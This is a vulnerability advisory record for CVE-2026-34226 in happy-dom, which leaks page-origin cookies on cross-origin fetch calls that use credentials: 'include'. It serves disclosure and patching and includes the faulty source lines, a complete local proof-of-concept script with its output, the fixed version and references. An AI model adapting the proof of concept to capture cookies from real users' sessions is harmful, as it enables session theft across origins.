{"id":"CVE-2026-34226","aliases":["GHSA-w4gp-fjgq-3q4g"],"url":"https://o3.security/vulnerability/CVE-2026-34226","summary":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","details":"### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n  console.log('Setup:');\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');\n  console.log('');\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) => {\n    res.writeHead(200, { 'content-type': 'text/plain' });\n    res.end('page host');\n  });\n\n  const apiServer = http.createServer((req, res) => {\n    observedCookieHeader = req.headers.cookie || '';\n    const origin = req.headers.origin || '';\n    res.writeHead(200, {\n      'content-type': 'application/json',\n      'access-control-allow-origin': origin,\n      'access-control-allow-credentials': 'true'\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, '127.0.0.1');\n  const apiPort = await listen(apiServer, '127.0.0.1');\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: 'include'\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n    console.log('Expected:');\n    console.log('  Request to target host should include \"api_cookie=API_ONLY\".');\n    console.log('  Request should NOT include \"page_cookie=PAGE_ONLY\".');\n    console.log('');\n\n    console.log('Actual:');\n    console.log(`  request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log('');\n\n    if (leakedPageCookie && !expectedApiCookie) {\n      console.log('Result: VULNERABLE behavior reproduced.');\n      process.exitCode = 0;\n    } else {\n      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js >= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.","published":"2026-03-27T21:17:24.777Z","modified":"2026-08-21T03:46:41.331097221Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00458,"percentile":0.37751,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"happy-dom","fixedVersion":"20.8.9"}],"fix":{"url":"https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751","label":"capricorn86/happy-dom@68324c2"},"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34226.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-34226"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34226.json"},{"type":"ADVISORY","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34226"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452519"},{"type":"FIX","url":"https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"},{"type":"FIX","url":"https://github.com/capricorn86/happy-dom/pull/2117"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-21T03:46:41.331097221Z"}}